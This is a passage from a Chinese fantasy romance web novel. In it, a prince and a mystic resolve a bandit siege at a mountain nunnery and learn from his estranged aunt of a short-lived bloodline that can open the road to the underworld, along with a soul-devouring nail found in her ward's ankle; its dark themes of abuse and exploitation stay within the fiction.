“还有你们。”赵澎说着指了指琼华庵的其他人,“你们也不是什么好人,你们中间不少人,可都做过见不得人的事,走投无路,才到庵里落发出家,至于这些年纪小的,不过都是些私生女,甚至有一部分就是你们自己生的吧?” “琼华庵本就藏污纳垢。”赵澎看向白锦夜,“你以为我在玷污佛祖?玷污的是她们!这种事在这大殿上,她们不知道跟那些以上香祈福为名义的人,苟且过多少回!” “你见过什么庵里养着鸡鸭鹅猪,宰了做‘斋菜’吃?” “你又见过哪个庵里的主持收了香客的钱,像是老鸨一样介绍庵里年轻师太的优缺点?” “哈哈哈!”赵澎笑得猖狂,“你要杀了我救下她们?好啊,那你现在说说,到底是我错了,还是她们错了?” 妙清倒在地上,身体轻轻颤抖。 就连其他师太本来诵经的声音,也安静了下去。 大殿上,就只剩下赵澎的笑声。 白锦夜的目光在殿上众人的身上扫过,没人反驳赵澎的话,就是说,他说的话,大概率都是真的,他捏着剑柄的手紧了紧,从前的事暂且不说,但妙清拆散赵澎和他娘子,让他娘子堕胎一事,放在任何男人身上,恐怕都无法忍受。 若是有人这样对待他和裴清歌,他可能比赵澎的反应更加激烈。 他拧了拧眉,正想着,就感觉背后有危险。 他本能的想要转身去防,身体却突然僵硬得动都动不了。 重物猛地砸在他的后颈上,他一下子倒在地上,眼睛艰难地往房顶看去,就见到裴清歌在看着他,眼里带着几抹歉意。 说是不会控制他,该控制的时候,也一点都没手软。 他虽然不至于流血,但这一下重击也疼得他眼冒金星了好一会。 赵澎见手下偷袭得手,脸上的笑更大,他从地上捡起一把刀,往白锦夜的方向走,“你不要怪我,要怪就怪你自己多管闲事。” “你说的……是假的?”白锦夜倒在地上,看着他说得有点艰难。 “怎么会是假的呢?”赵澎笑道,“句句肺腑之言,不然你怎么听得这么入神?”他说着举起刀,就往白锦夜的喉咙割去。 白锦夜当然不怕,这刀显然不可能杀了他。 “够了!”妙清满脸泪痕,转头喝止赵澎,“你想报仇,那你就朝我来,其他人都是无辜的,你不要再伤害其他人了!” “哈哈哈。”赵澎又疯狂地笑了起来,“这都三天了,无论我怎么让人欺辱你庵里的师太,你都不吭声,如今为了个男的突然硬气起来了?”他说着仔细端详着白锦夜的脸,“这不会也是你的私生子吧?” “你到底要怎么样?”妙清的声音有些撕心裂肺。 “我要怎么样?”这个问题似乎难倒了赵澎,他想了半响,才道,“三天前,我就只想带着我娘子走,走得远远的,躲开你,再也不见你。可是你不放她走,她也不愿意跟我走,那我要怎么样?我要怎么样?”赵澎喃喃地低声重复了好几遍,最后眼里才闪过一抹恨意—— “我的生活全都被你毁了,我也要毁了你的一切,我要你们全都给我死去的孩子陪葬!” 白锦夜虽然身体不能动,脑袋还清醒,“我要是没猜错,你那娘子……应该是当年跟你一起被虐待的妹妹吧?” 他的话,让妙清顿时神色剧变,这会终于再也忍不住,伸手抱着身边的女子,痛哭起来。 赵澎怔了半响,但却并不接受这个结论,“你是个什么东西敢在这里胡说八道?那是我娘子,是我明媒正娶的娘子!” 他说着手上发了狠,举起刀狠狠地往白锦夜的脖子上砍去。 裴清歌看向角落的师太身上,她的目光,从始至终都在白锦夜的身上,这一会她眼里闪过几抹不忍,但最终还是别过了头,抬手捂住身边那个小尼姑的眼睛,显然是不在意白锦夜的死活了。 第179章 我有办法让她活下去 裴清歌也转身跳下了房顶,她冲进大殿的那一刻,赵澎的刀也划过白锦夜的喉咙。 白锦夜疼得几欲昏厥,随即就被裴清歌一把捂住了脖子。 血顺着裴清歌的指缝流出来,很快就蔓延到地上。 白锦夜自然知道这血不是他的,他看着裴清歌,依旧一动不能动。 “璟成,璟成!”裴清歌叫了几声他的名字,“璟成,你不能有事,你要有事,我和孩子怎么办啊?” 听到裴清歌叫白锦夜的字的时候,角落里的师太眼底漫上痛苦,最后干脆闭上了眼睛,但听到她说到孩子的时候,她又一下子睁开眼睛,转头向裴清歌看过来。 这些年,她隐隐地也知道一些白锦夜的事情,去年听人谈起的时候,还说白锦夜尚未成亲,难道……现在已经有了孩子么? 见了血,赵澎就已经红了眼,他提着刀,转头看向妙清,“轮到你了。” “赵澎!”裴清歌抬头喊住他,“你做出这等不伦之事,你就是个畜生!” 赵澎转身看她,又看了看白锦夜,“既然你们夫妻情深,那我就送你们一起走,到黄泉路上,你们再做一对鬼夫妻。” 眼见着刀朝裴清歌砍过来,她也没有躲闪,只是抬手护住了自己的肚子。 白锦夜拧着眉,他的身体这刀砍不进,但裴清歌可不是铜皮铁骨,这刀砍在她身上,那可真是会要了她的命。 就算裴清歌这是要演戏给他三姨母看,那也太过了。 他也不知道哪来的力气,挣扎着就起了身,虽然动作幅度不大,可也还是把裴清歌护在了身下。 只不过背后却迟迟没有感受到疼痛。 他动不了,没办法转头去看。 裴清歌去看见,正是那个躲在角落的师太冲了出来,一把抱住了赵澎的腰。 她不在意白锦夜是死是活,因为她知道,白锦夜活不过二十二岁,无论她做什么,也改变不了白锦夜即将会死的结局。 但是如果裴清歌怀了孕,那就完全不一样了。 她肚子里的,也同样是张明彻的后代。 就算白锦夜那个同父异母的妹妹还活着,离二十二岁也不过就剩下一两年,远没有她肚子里的这个能存活的时间长。 裴清歌现在更加确定,她知道的确实不少。 “走!快走!”那师太朝着裴清歌喊道,“这里的事跟你们没关系,快走!” 妙清这会也回过神来,冲过来抓住赵澎的拿刀的手腕,“你杀了我吧,杀了我吧,我死了你放过其他人吧!” “我当然要杀了你,你们谁都跑不掉!”赵澎说着挥刀向妙清砍去。 妙清已经认了命,闭上眼睛等死了。 裴清歌抬手掷出一枚银针,银针扎在赵澎的颈边,他的动作僵住,挥起的刀也没办法再落下。 白锦夜也恢复了行动,他想要翻出手帕擦一擦颈上的血,可才想起手帕刚才给裴清歌蒙眼睛了。 那师太见白锦夜和裴清歌根本没事,怔愣了一下,但很快明白了什么,转身就要躲回角落。 白锦夜赶紧叫她,“三姨母。” 师太的脚步顿了顿,“施主认错人了,贫尼净明,在这世上已无亲人。” 白锦夜还想上前,却被裴清歌拉住,她看向妙清,“师太,如今寺里的情况,你是打算报官还是私了呢?” 听到报官的时候,妙清的脸色僵了僵,才道,“佛祖慈悲为怀,若是这些施主愿意离去,贫尼不再追究。” 这倒也在意料之中,之前赵澎说的话若是真的,妙清自然不愿意把这件事情闹大。 除了赵澎之外剩下的匪寇闻言想走,可又不能丢下赵澎,一时间还有些犹豫。 裴清歌转身看着他们,“他还得留下处理他的家事,你们若是不走,我可要报官了。” 此事本来就是由赵澎的家事引起,若是他的家事不解决,这件事也不算完,其他人低声商议了片刻,便都先行离开了。 几个师太七手八脚的拿着绳子把赵澎绑了。 白锦夜和裴清歌帮庵里解决了危机,但显然本身是奔着净明师太来的,妙清也知趣的说庵里有很多事务要处理,这殿上也要打扫,着人带着净明师太、白锦夜和裴清歌去了偏殿。 那个净明师太一直护着的女孩也走到了她的身边,抬手拉住她的衣袖,寸步不离地跟着她。 裴清歌看着这女孩,微微眯了眯眼,没有说话。 到了偏殿,净明抬手护着女孩,目光也不放在白锦夜的身上,只是说,“王爷纡尊降贵来这么远的地方找贫尼,恐怕贫尼要让王爷失望了。自贫尼十二年前到此处出家,便已斩断尘缘,若不是此等情形,贫尼也不会见任何人。” “月余以前,肃亲王已经在月城战死。”白锦夜微皱了下眉,开口道。 净明眼底闪过一抹惊讶,半响才道,“肃亲王既是为了天风国的百姓战死,贫尼日后定当日夜为他诵经祈福。” 裴清歌看向净明护着的女孩,声音放柔了些,“小师太,净明师太有事要和这位男施主说,不如你带我洗漱一下如何?” 那女孩还没动,就被净明往身后拉了拉,“时候不早了,你们早些下山吧。” 白锦夜看着净明,他从小只知道自己有个三姨母,但是几乎没有见过面,如今这也是第一次如此近距离地端详她。 净明和张太妃虽然是姐妹,容貌五六分相似,他的眉眼和张太妃是相近,但现在细细看起来,确实和净明才是如出一辙。 他的手垂在身侧,握成了拳头,“三姨母……” 净明微微皱起眉头,“贫尼的徒弟受了惊吓,要休息了,两位施主自便。”说完,便拽着身侧的女孩打算离开。 “你这徒弟的状态跟惊吓恐怕没什么关系。”裴清歌看着她的背影开口道,“大概只是寿命快到了。” 净明的脚步微微顿了下,但是也没有停,继续往外走。 “我有办法,让她活下去。”裴清歌又道。 净明的背影一僵,脚步这才停了下来。 第180章 我宁愿从来没有认识过他! 说完这一句,裴清歌就没有再说话,而是静静地看着净明的背影,把选择权交给了她。 隔了很久,净明没有转身,只是低声道,“这里不是说话的地方,两位施主随我来。” 出了门,露过井边,裴清歌停了下来,打了一桶水,不紧不慢地洗了手上的血迹,又洗了帕子递给白锦夜。 白锦夜擦了擦颈上的血,忍不住低声问,“你从哪弄来的血?” “旁边的小厨房,可能是猪血。”裴清歌笑着看着他。 白锦夜又擦了擦,想说什么,但犹豫了下,还是忍住了,清理好血迹,才跟着一旁耐心等待的净明继续往后院走。 后院走出去很远,有片湖,湖中间有个凉亭,通往凉亭,也就只有一条路。 在凉亭中说话,自然不担心有其他人听见,就算有人想要靠近,也一目了然。 走到凉亭,天已经完全黑了下来,只有净明拎过来的一盏油灯,也不算太亮。 “能否让我给这位姑娘检查一下?”裴清歌开口问道。 净明这一次没有再阻拦,而是让开身。 其实裴清歌也不需要再怎么仔细检查,她刚刚就已经看出来,这女孩的魂魄已经逐渐消融,等她的魂魄完全消失,人也就死了。 她刚才只是没看懂,这女孩的魂魄为什么会消融。 “她是从什么时候开始有这种症状的?”裴清歌一边检查一遍开口问道。 净明想了会,才摇了摇头,“那会我要照顾的孩子太多,很多孩子又在病中,她那时候看起来是最健康的,所以确实一开始没有怎么在意她,后来我才发现,她对很多事的反应会迟钝,就连痛觉都不是很明显,逐渐的就像是有些……痴傻,最后就变成现在这个样子,呆滞木讷,知道吃喝拉撒,剩下的就什么都不懂了。” “那其他的孩子呢?”裴清歌又问,“其他孩子离世之前的症状,都是什么样的?” 净明沉默了会,“跟她有关系么?” “你说呢?”裴清歌反问,“这些孩子为什么会这样,你应该比我清楚。” 净明微微抿了抿唇,“你说你能救她,你便救她,其他的孩子都已经死了,不必再提起。” “那以后呢?”裴清歌继续问。 净明这一次没说话。 亭子里陷入静谧,良久之后,白锦夜才开了口,“三姨母,我成亲了。”他说着抬手拉住裴清歌的手,“她是我娘子。” 净明看着裴清歌,只是轻轻地叹了口气。 裴清歌收回目光,低头认真地查看面前的女孩,声音不冷不热,“若是他们两个都死了,张明彻当年做的一切,就都成了个笑话。” 净明转身走到凉亭边,向黑漆漆的湖面看去,半响后,才开口道,“你若是能救她便救,若是救不了,就早点下山去吧。” “刚才看了一出母子成仇妻离子散的惨剧,看样子,人和人之间的喜怒哀乐,确实并不相通。”裴清歌说着看向白锦夜,“你这妹妹不知道被什么人做了手脚,人还没死,魂魄却在逐渐消融。哪怕是大奸大恶之人,死了也还可能有下辈子,但魂飞魄散的人,死了便是真的死了。” 说完她站起身,“不是我不救,若是不知道缘由,盲目的动手,可能反倒会加速她魂魄消散的速度。出家人原来真的是六根清净,相依为命这么多年都可以见死不救,我毕竟是个外人,也不好多插手了。” 净明垂下眼,依旧没有说话。 “走吧。”裴清歌抬手拉住白锦夜的手腕,“下山吧。” 白锦夜转头看了净明一眼,也没再说话。 两个都快走出凉亭,净明才开了口,“你……可是真的有孕了?” “没有。”裴清歌回答得干脆,“不过看起来,你倒是很希望我怀孕。” “怀孕……”女孩讷讷地重复了一遍这两个字,然后突然走到白锦夜的身前,目光呆滞地盯着前方,手开始解自己衣服的带子,“施主,采薇伺候你。” 白锦夜呆愣了下,后退了几步,带着几丝怒意转头看向净明,“你对她做了什么?” 净明也赶紧上前,按住采薇的手,又把她的衣服带子系好。 裴清歌心中了然,张明彻当年为了留下血脉,纳妾生子,如今净明为了让血脉延续,自然也只能想办法让采薇生下孩子。 这庵里藏污纳垢,但她却依旧呆在这里,想必这也刚好顺了她的意。 “三姨母,你……”白锦夜似乎依旧没有办法相信净明会做出这种事,“你若是想要让她怀孕生子,给她找户人家嫁了,怎么能做这样的事情?” 净明抱着采薇,眼泪不断地流下来,“采薇是我亲手养大的,看着她遭遇这些,我能不心疼么?可我能有什么办法?我能有什么办法?” 白锦夜胸口微微起伏,转身走到一边,手死死地握成拳,极力地隐忍着胸中的怒气,半响后,他才终于算是比较平和地开了口,“事情我们大概知道了一些,张……他当年纳妾,是为了延续血脉,他这一支的血脉都活不过二十二岁。” “你若是真的什么都不管,也没必要让采薇经历这些,你也还是想要让他的血脉延续下去。他死前到底跟你说过什么,你没有必要再隐瞒了。难道等我、等采薇死了以后,这世上再没有他的血脉了,然后你把秘密带到坟墓里去么?” 净明抱着采薇在一边椅子上坐下来,“为什么,为什么要让我来承受这一切?我宁愿从来都没有认识他!” 她的情绪有些激动,这些事她在心底埋了这么多年,从来不想再提起。 如今又要翻出来,就像是当年在她心上插过的刀,现在拔出来,然后再重新插进去。 她流着泪,哭了半响,情绪才终于稳定下来。 “确实,我确实是想过,把这些秘密带到坟墓里去,这本就不是我们普通人该承担。”净明长吸了一口气,抱着采薇的手紧了紧,“这整件事,就算是我自作自受吧。”她轻笑了一声,无奈地摇了摇头,“一切,都得从我认识明彻开始说起。” 第181章 他让你交代的话 裴清歌看了白锦夜一眼,他依旧背对着净明站在那没有动,她便走到净明的对面坐下,听着她从头讲起。 “当年,父亲带了明彻回来,不少人都说他是父亲在外的私生子,府里的下人也都因此针对他。父亲常年在军营,哪里知道府上的这些事?他刚来的时候,日子过得一点都不好。我觉得他和我见过的那些世家弟子都不一样,对他好奇,总是偷偷去看他。” “一来二去,就熟悉了起来。后来他与大哥一起读书习武,我也总是以去看大哥为借口去找他,给他们送吃的就总会格外给他准备一些,大概我是整个府里除了父亲以外,第一个对他示好的人,所以他也愿意多跟我说几句话。” “情窦初开的年纪,大姐一心进宫为妃,二姐喜欢上了一个文质彬彬的才子,我心里眼里都是他。他对我虽然比其他人热络些,但也就仅此而已,我三番四次地暗示他,他也不为所动。” “后来……有一次我去寺里祈福,遇上大雨,下山时扭了脚,他来寻我,一路背着我回去。我终于再也忍不住,对他表明了心意。他当时什么都没说,几天后,才以还没有成家的心思这样的理由拒绝了我。” “想一想,那时候他多次表明我与他不合适,可到底是我太执拗,跟爹娘说非他不嫁。爹娘就做主,定下了我们的婚事。婚事定了下来,他对我也就不再疏离,我们感情极好,一直到我有了身孕,我们确实过了一段很甜蜜的日子。” “后来……他突然情绪低沉,我问他发生什么事了,他也不肯说,然后就开始纳妾。”净明说着顿了顿,“想必这些,爹应该已经跟你们说过了。” “到他二十二岁生辰那日,他来了府上,我没有见他,但其实我在门缝偷偷地看了他,他身形瘦削,面色苍白,那天晚上,晕倒了几次。没能见到我,他让一个下人给我传了话,说他不久于人世,只是觉得有些话再不说,就没有机会了。” “下人传话的那天,我整整一晚没睡,我说恨他,可终究还是放不下他,于是瞒着爹娘,去见了他最后一面。我见到他的时候,距离他生辰那日也就过去三天,可他已经卧榻在床,几乎是弥留之际了。他跟我说……” 说到这,净明吸了一口气,像是在整理思绪,半响后才继续道,“他跟我说,其实他很早就心仪我,可是按照他家的祖训,他不能娶我。他说他是九天玄女血脉的传人,像他这样的血脉,一共有十一个家族。他们只能在十一个家族之中互相通婚,才能保证血脉的延续。所以他起初是想按照祖训找这样的人成亲。” “但是他找不到,心里也想着那就自私一回,才会跟我成亲。但这样一来,我们生下的孩子血脉不纯,若是以后再跟普通人成亲,就没办法再有子嗣了。除非我们的孩子能找到另外那十个家族中的人,跟他们成亲,才能继续繁衍子嗣。” “我怀孕之后,他就越来越不安,他知道他活不久了,在他有生之年,就算我还能再怀孕,我们最多也就只能有三个孩子。这三个孩子能不能平安长大不说,想要去找那十个家族,也是难如登天。他就只能……多留下些子嗣,万一哪个孩子有奇缘,能继续延续血脉,这血脉也不算绝种了。” “他跟我说,他们这支血脉,能通阴阳。若是这支血脉绝种,枉死之人就不能去地府,人间就会乱套。但也有人就想看到这局面,所以一直都在追杀他们这支血脉。当年,他们全族人拼了全力才保下他一命,若是血脉到他这里断绝,他死后也无颜面对列祖列宗。” “他说他们都活不过二十二岁,所以只能在寿命结束之前,尽可能多的留下些子嗣,他希望我能帮他照料这些孩子。那时,我当真觉得他说的这些都是骗我的,我从未听说过这样的事,又哪会相信?” “但是他带我去看了。我亲眼看到他为那些枉死的人开路,把他们送到地府。他说他们之所以活不过二十二岁,就是因为游走阴阳两界,才会折损寿命。我答应了他,会照顾这些孩子。可是……我也不知道到底怎么回事,那些孩子就是一日日萎靡不振,最后只剩下采薇。” “从他纳妾开始,我本就心灰意冷,又看着这些孩子离开,终于再也承受不住……好在采薇一日日长大,虽然和常人不太一样,但终究是活了下来。她这个样子,根本不会有人愿意娶她,而且按照血脉的说法,她和普通人也不可能有子嗣。” “能娶她的,无非是穷得娶不起妻的人,娶回去也就是为了生孩子,但她若是不能生孩子,那会遭受什么样的待遇,也可想而知。我甚至想过……送她去妓院,遇到的客人多了,万一就有那十个家族的后人呢?” “所以……当我发现琼华庵有那样的勾当之后,就……”净明说着摇了摇头,“可已经快五年了,采薇确实从未有孕。我把你给了姐姐,身边就剩下采薇,我想我也尽力了,真的不如人意,那也只能是你们这一支血脉的命运如此。” 白锦夜微微拧了下眉,开口问道,“你说他带你去看过,他是怎么带你去的?” 净明摇了摇头,“我去见他的前一晚,一整晚都没睡,他找人给我煮了安神的茶,我睡了过去,应该是在梦里去的。” “那地方,是什么样的?”白锦夜又问。 像是因为过去的时间太久,净明想了好一会,“也这世界没什么不同,就是在一个路口,那些人从我们面前一一走过,走几步就消失了。” 白锦夜皱起眉头,这跟他梦中的,完全不一样,他也想不明白是因为什么,只能看向裴清歌。 裴清歌像是在想什么,隔了会才问,“他最后找你,除了希望你能帮他把这些孩子养大,应该也会有什么话,让你交代给他的子嗣吧?” 第182章 噬魂钉 净明垂下眼,点了点头,“是,他说,若是有人能活下来,就让他们来琼华山,这里有他们家族的根基。因为当年他的家人出事的时候,他的年纪也不大,能记住的,也就是那些,若是能找到他们家族的旧址,里面应该会有更多关于他们这支血脉的记载。” “所以我才会带着采薇来琼华山。其实他当年,跟着我爹以剿匪的名义,来过两三次琼华山,可一直什么都没找到。这些年,我偶尔也在琼华山上转,不过也是一无所获。” 裴清歌转头看了看白锦夜,犹豫了下,但还是问出口,“采薇和常人不同,相比之下,真的能够延续血脉,不也是白锦夜更合适么?为什么这么多年,你都对他不闻不问,甚至也没有在延续血脉的这件事上考虑过他?” “呵。”净明低笑了一声,“当年,我对明彻彻底失望,甚至动过打胎的想法,我想既然有那么多女人愿意给他生孩子,我还要这个孩子干什么?可终究还是不忍心……恰好那时大姐小产,她来找我,苦苦哀求,我答应了。我想这孩子跟着我,我看到他就会想起明彻,大概是过不了什么好日子的。” “那时大姐说得好听,说我们到底都是一家人,将来我可以进宫去看他,等他长大了,也会孝顺我。可等孩子真的跟她进了宫,她再也不允许我看一眼,甚至都不让我提起,她说这是诛九族的大罪,难道我要害死全家人么?” “她让我当做就没有生过这孩子,到后来,就开始以明彻的那些孩子为要挟,逼我离开京城。” “但十五年前,张太妃疯了。”裴清歌皱起眉头,“那时候你应该还没离开京城,你也应该知道,张太妃疯了以后,白锦夜在宫中会是什么样的待遇,你那时候为什么还是没管他?” “我能怎么管呢?”净明反问,“他是皇子,就算过得再差,也没人敢把他怎么样,可我还有这么一大群孩子要照看,我又不能把他接出宫来,他的身份也不能暴露,我这样不也是为了所有人好么?” “其实你对张明彻还是有怨气吧?”裴清歌不相信她说的这些理由,“你怨他没有一开始跟你说清楚,在你身上的悲剧明明是可以避免的,如果他早早说出他血脉的事,你没有嫁给他,哪怕嫁给一个自己不喜欢的人,也能顺遂地过一生,不至于如此辛苦。” “你只是出于悲悯之心,去照顾他的血脉,也许是为了百姓为了大义,但并不是为了他,大概张将军对你们从小灌输的思想就是如此。你对他的怨气,也延续到你们的孩子身上,你可以把其他孩子都当成陌生人来照顾和保护,但你没办法用同样的心态对待自己生下来的孩子,你会怨,会后悔,所以你就当自己从来没有生过这个孩子。” “有没有又怎么样?”净明皱了下眉头,“左右活不过二十二岁,真的去在意,也只会让我自己再心痛一回。” “白锦夜不会死。”裴清歌看着她,“他可以安然度过这个新年,然后活下去。” 净明怔了一下,又仔细地打量了白锦夜一圈,脸上的表情有些激动,“他能活下去,那采薇呢?” “你先告诉我,以前死的那些孩子,有什么症状,和张明彻死之前一样么?”裴清歌继续问道。 净明摇了摇头,“明彻死之前,很虚弱,但神智一直都很清醒。可这些孩子,虽然也是一日日萎靡,但逐渐的像是没了神智,有些到最后连吃饭都不会了。” 裴清歌垂下眼,也就是说,张明彻是一直游走阴阳两界,最终阳气散尽离世。但是这些孩子,却都像采薇一样,人还活着,可魂魄却消融了。 这样的情形,她只知道一种情况,“我们需要去个光线明亮一些的地方。” 净明扶起采薇,走在前面带路。 白锦夜看着目光都不怎么愿意放在自己身上的净明,薄唇微抿。 裴清歌走了两步才发现白锦夜没有跟上来,她轻轻地叹了口气,回身拉住了他。 几人一起去了净明的住处,点好灯,让白锦夜呆在门外,裴清歌和净明一起脱掉了采薇所有的衣衫。 裴清歌举着油灯,一点点地,仔细地看过采薇的每一寸皮肤,最终在她的脚踝上,看到极其细微的一个黑点。 她眯眼盯着黑点,停了下来。 “这是一颗小痣吧?”净明也看着那个黑点问道。 裴清歌摇了摇头,让采薇穿好衣服,才叫了白锦夜进来,“你们两个按住她,千万别让她挣扎。” 她说着用匕首割开了采薇脚踝的皮肤。 采薇也就只是看着她,似乎根本感觉不到疼痛,一动不动。 那黑色的一点,深扎进皮肤之中,像是一根极细的线。 裴清歌用镊子夹住,转头看了白锦夜一眼。 白锦夜会意,按住采薇的腿,不让她动。 裴清歌猛地一拽,拽出一根一寸长左右的黑线,但这黑线看起来很硬,拔出来之后,形状也丝毫不变。 采薇只是坐在那,目光依旧呆滞,一点反应都没有。 看到这一幕,裴清歌心里暗暗地叹了一口气,这一刻算是确定,采薇真的没救了。 她用镊子夹着黑线,在灯芯上烧了半响,黑线也纹丝不动,她便拿出了一道符咒,将它包裹好,又用帕子包了一层,小心翼翼地收起来,随后一边包扎采薇的伤口,一边解释道,“这是噬魂钉。” “噬魂钉打入人体之后,会逐渐消融人的魂魄,消融的速度,跟噬魂钉打入的位置有关系,越接近头部,消融的越快。采薇的这枚噬魂钉在脚踝附近,消融魂魄的速度其实极慢,整个魂魄消融,起码要十几年二十几年的时间。” “你的意思是,其他的那些孩子,也是因为身体里被人打了噬魂钉,才会逐渐萎靡,最后死掉?”白锦夜开口问道,“只不过那些噬魂钉的位置接近头部,所以几年之间,他们就都死了?” “按照眼前的情况猜测,是的。”裴清歌点点头,她说着看向净明,“我之前就看到采薇的魂魄在消融,这噬魂钉虽然是打在血肉里,但实际上只打在魂魄上,我刚才拔除的时候,采薇一点反应都没有,也就是说,她的魂魄连基本的痛觉都没有了,已经很难再修复了。” “她还是会死掉,是么?”净明赶紧问。 “起码不会因为魂魄消融而死掉。”裴清歌顿了下,又说,“这世上其实有不少宝地,可以温养魂魄,在那样的地方生活,对她会有好处。” “可是……”净明轻笑了一声,“她今年已经二十了,就算能温养魂魄,也不过就能活两年了。” “那也未必。”裴清歌开口道。 第183章 我感觉楚星玄有问题 白锦夜转头看着裴清歌,顿了会,才拉住她的衣袖,在他的认知里,能让他们活下去的办法只有两个,要么炼制成冥尸,要么逆天改命。 之前北冥国国君逆天改命之后天降雷劫的情况他见过了,他绝不希望裴清歌经历那样的事情,那几乎可以说是在一命换一命,他不想用裴清歌的命去换任何人的命。 裴清歌看了看他,才继续道,“魂魄不全,大概是没有办法打开去地府的通道的,所以我怀疑这么多年,采薇没有游走在阴阳两界,她的寿命也不会止步于二十二岁。但她魂魄消融得太多,就算能找到温养魂魄之地,也不见得能恢复多少,以后大概率,就像眼前这样了。” 听裴清歌这么说,白锦夜才微微松了一口气。 裴清歌这样的猜测不是没有道理,若是采薇也能开冥路,国君肯定不会放过她,国君连白锦夜的事情都知道得一清二楚,又怎么可能不清楚采薇的事?唯一的解释,就是采薇已经没有这样的能力了。 “那不知道,哪里有温养魂魄的地方?”净明开口问道。 “我暂时还不知道,但以后我若是发现了,会着人来通知你。”裴清歌如实回道。 “那就多谢了。”净明对着裴清歌作了个揖,又转身看着采薇,像是隔了会才想起白锦夜,“我知道的,都已经告诉你们了,我没什么亲人,也希望任何人都别再把我当做亲人。我和采薇这些年,付出的已经足够了,既然你能活过二十二岁,那以后你们这一支血脉延续的事情,便交给你了。” 她说着顿了顿,“此后,你也不必再来找我们了。” 白锦夜看着她,张了张嘴,似乎想说什么,但最终还是什么都没说。 “但还有一件事需要你帮忙。”裴清歌看着净明,“这噬魂钉不是随随便便刺进身体就可以的,也不是一般人能做到的,一定是一个有很长一段时间都呆在你们身边的人。当年张明彻府上的人,在你离京之前,都打发了,我希望你能把当年在府上呆过的人的名单给我一份。” 净明微微想了会,“时间过去得太久,我不见得都能记得住。” “能想起多少,就想起多少吧。”裴清歌开口道,“这个人应该在府上隐匿了很久,不过好在他并不知道白锦夜的真实身份,才会漏过一个。送他进宫,倒是阴差阳错救了他的命。今天天色晚了,我们就在庵里留宿,明早我们离开的时候,你能把名单给我么?” “贫尼尽力。”净明应了一声。 裴清歌便也从她的身上收回目光,转头看向白锦夜,“走吧。 “好。”白锦夜应了一声,犹豫了下,还是牵起裴清歌的手,往外走。 裴清歌看了看他紧绷的下巴,又转头看向净明,净明小心翼翼地照顾着采薇,脸上平和又带着几丝轻松,确实完全不在意白锦夜的来去。 直到关上门,净明都没有再朝他们看一眼。 裴清歌轻轻地叹了口气。 庵里的师太安排白锦夜和裴清歌住在厢房,也送来了斋饭。 白锦夜没有胃口,裴清歌也没有勉强他吃,毕竟冥尸不一定非要吃东西,但她可是血肉之躯。 厢房不大,也只有一张床,白锦夜坐在床边,脸色不算太好。 裴清歌也不知道该怎么安慰他,在过去的这些年里,他一直把张太妃当做生母,想尽办法救治张太妃。 张太妃终于好起来了,可是却把他给忘记了。 接受这件事,大概对他已经是不小的折磨,但好在又知道他的生母另有其人。 在来的路上,虽然白锦夜什么都没说过,可裴清歌也能感觉得到他心里的期待。如今肃亲王的身份没有了,母子相认没了阻碍,他自然还是想要和生母团聚。 可没想到……生母同样不愿意接纳他。 裴清歌站了会,才走过去在他的旁边坐下,“其实……” “不用安慰我。”白锦夜顿了下,抬手抱住裴清歌,下巴垫在她的肩上,“若是什么都不知道,我这一辈子都把张太妃当做生母,不也就这样了么?她有自己的选择,只要她觉得这样她心里舒服些,那这样也没什么不好。” “你若真的这样想,就不会难过了。”裴清歌开口道。 白锦夜轻笑了一声,没再解释,隔了片刻才问,“从未听你提起过除了你师父他们以外的人,你的家人……你还记得他们么?” “早就不记得了。”裴清歌说着顿了下,“圣女候选人大多是孤儿。”隔了会,她也无奈地笑出声,“但又怎么会有那么多孤儿?说不定我们本身不是孤儿,但一旦符合圣女候选人的条件,就会成为孤儿。” 白锦夜抱着裴清歌的手紧了紧,“倒也不必这么悲观,或许你也有家人尚在人世。” 裴清歌没再说话。 沉默了会,白锦夜想起他和裴清歌那晚之后,裴清歌并没有喝过避子的汤药,但也并没有身孕。 那按照净明的说法,他以后和裴清歌也不可能有子嗣。 现在看来,逆天改命那条路确实不适合他,成了冥尸,一直活下去,就算没有子嗣,血脉不能延续又如何? 只要他活着,这血脉就在。 隔了会,他看着裴清歌垂在身侧的手,才低声道,“清歌,你知道我难受,就不能抱抱我么?” 裴清歌犹豫了下,才抬起手,在他的后背上象征性地拍了拍,“好了,时候不早了,早点睡吧。”说完便抬手推开他,上了床。 白锦夜无声地叹了口气,紧随其后,熄了灯,又放下了床幔。 黑暗里,他也没什么睡意,感觉到裴清歌也没睡着,就没话找话,“明日一早我们就下山么?” “不,我们不下山。”裴清歌道。 “但你不是告诉左辞,如果我们中午之间没有下山,就让他们离开么?”白锦夜转头看她。 “嗯。”裴清歌应了一声,“希望他们能离开,左辞能听话,阿鸢也会听,楚星玄大概率就会跟着他们一起走。” 白锦夜听明白了她的意思,“你不想让楚星玄再跟着我们?” “我感觉他……”裴清歌想了一会,也不知道该怎么形容,最后只是说,“我感觉他有问题。” 第184章 我不是张明彻,你也不会是净明师太 “你这么说,起码在你心里,我算是自己人了?”白锦夜又问。 “倒也不是。”裴清歌说得直白,“只是你确实没什么能瞒我,你要是有什么不对劲的地方,我也能控制你。但是楚星玄这个人,我不太能捉摸得透。” 白锦夜脸上的表情有点无奈,声音里多少带了些委屈,“你说过不会控制我。” “嗯。”裴清歌应了一声,“我只是觉得有时候控制你能省掉不少麻烦。” “那我希望,至少在只有我们两个人的时候,你别控制我。”白锦夜低声道。 “只要你不做过分的事。”裴清歌拧了下眉,拍开白锦夜凑过来的手。 “握你的手,也算是过分的事么?”白锦夜开口问。 裴清歌皱了下眉,“你也听到净明师太的话了,冥尸虽然不会自己死掉,但不代表不能死,若是你落到国君手上,大概率还是没命的。所以如果有可能,你当然还是要留下血脉,我会帮你找那十个家族的后人的。” “你是认真的?”白锦夜皱起眉头。 “当然。”裴清歌说着顿了顿,“之前我们见过的那个老和尚,他说他们守阵的都是‘神阵公’的后人,也是那十一个家族之一,其他的人我们不清楚,所以这个‘神阵公’的后人应该是最好找的。” “等鬼卿从西夜国回来,应该也就知道西夜国的瘟神蜮的河图走向如何,到时候我们沿着那一代寻找,就不至于像无头苍蝇一样乱撞。” “我不去。”白锦夜皱起眉头,“就算找到了,我也不会跟我不喜欢的人在一起。” “喜不喜欢又能如何?张明彻和净明师太之间就是互相喜欢,结局又如何?如今净明师太心里依旧恨他,若他当初没有自私,只想着延续血脉,也不至于成了孽缘。”裴清歌说着顿了顿,“有些人天生就背负这样的使命,情情爱爱的,只会是阻碍。” 白锦夜没有说话。 